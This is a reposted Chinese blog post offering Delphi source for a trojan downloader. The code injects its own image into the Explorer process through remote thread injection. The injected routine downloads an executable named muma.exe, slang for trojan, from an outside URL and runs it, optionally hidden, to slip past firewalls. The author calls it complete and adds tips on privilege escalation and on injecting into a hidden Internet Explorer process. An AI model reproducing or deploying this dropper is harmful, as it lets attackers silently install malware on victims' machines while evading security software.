zoukankan      html  css  js  c++  java
  • 打造无DLL版穿透防火墙Downloader

    这份代码的思路来自于国外EES组织的Aphex。基本上所有的无DLL Download都是利用的这种方法。其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL,而是本身的一个过程。下面是代码,由于本人专业知识不够,可能有些说法不太专业。请大家凑合着看。有不懂的请跟贴。

    program InjectTheSelf;

    {$IMAGEBASE $13140000}

    uses Windows, Urlmon;


    procedure Download;  //下载过程
    begin
      URLDownloadToFile(nil, 'http://www.mycode.ful.cn/muma.exe', 'C:muma.exe', 0, nil);
      WinExec('C:muma.exe', SW_SHOW); //SW_SHOW or SW_HIDE
    end;


    var
      hModule, hModule_News: Pointer;
      Extent, Size, ThreadId: longword;
      ProcessHandle, Pid: longword;


    begin
      GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
    //获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看

      ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程

      hModule := Pointer(GetModuleHandle(nil));
    //这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度

      Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
    //得到内存映像的长度

      VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
    //在Exp进程的内存范围内分配一个足够长度的内存

      hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    //确定起始基址和内存映像基址的位置

      WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);
    //确定上面各项数据后,这里开始进行操作

      CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);
    //建立远程线程,至此注入过程完成

      CloseHandle(ProcessHandle);
    //关闭对像
    end.

    需要说明的是,尽管这已经是一份完整的穿墙版Downloader的代码。但其还是有很多BUG的。如果你想写属于自己的下载者,请注意解决下面几个问题

    1、上面的代码用到的远程注入的方法所用到的函数在Windows9X下没有。
    2、Windows和一些应用程序对某些进程做了保护,不允许进程进行越权操作。如Svchost、QQ等进程的注入,必须先进行提权操作。
    3、若需注入到IE。请先用Winexec的SW_HIDE模式打开一个隐藏的IE进程,将程序挂起3秒后再进行注入。这个是针对一些老机器而作的。

  • 相关阅读:
    php 上传大文件问题
    两台虚拟机实现负载均衡
    lnmp一键安装包搭建lnmp环境
    PHPExcel在读取时时间的处理
    ZeroMQ研究与应用分析
    堆排序(概念、原理、实现)
    HASH表的实现(拉链法)
    加密和数字签名工具GPG
    我的2014 一言难尽
    MySQL优化之profile
  • 原文地址:https://www.cnblogs.com/FKdelphi/p/4642953.html
Copyright © 2011-2022 走看看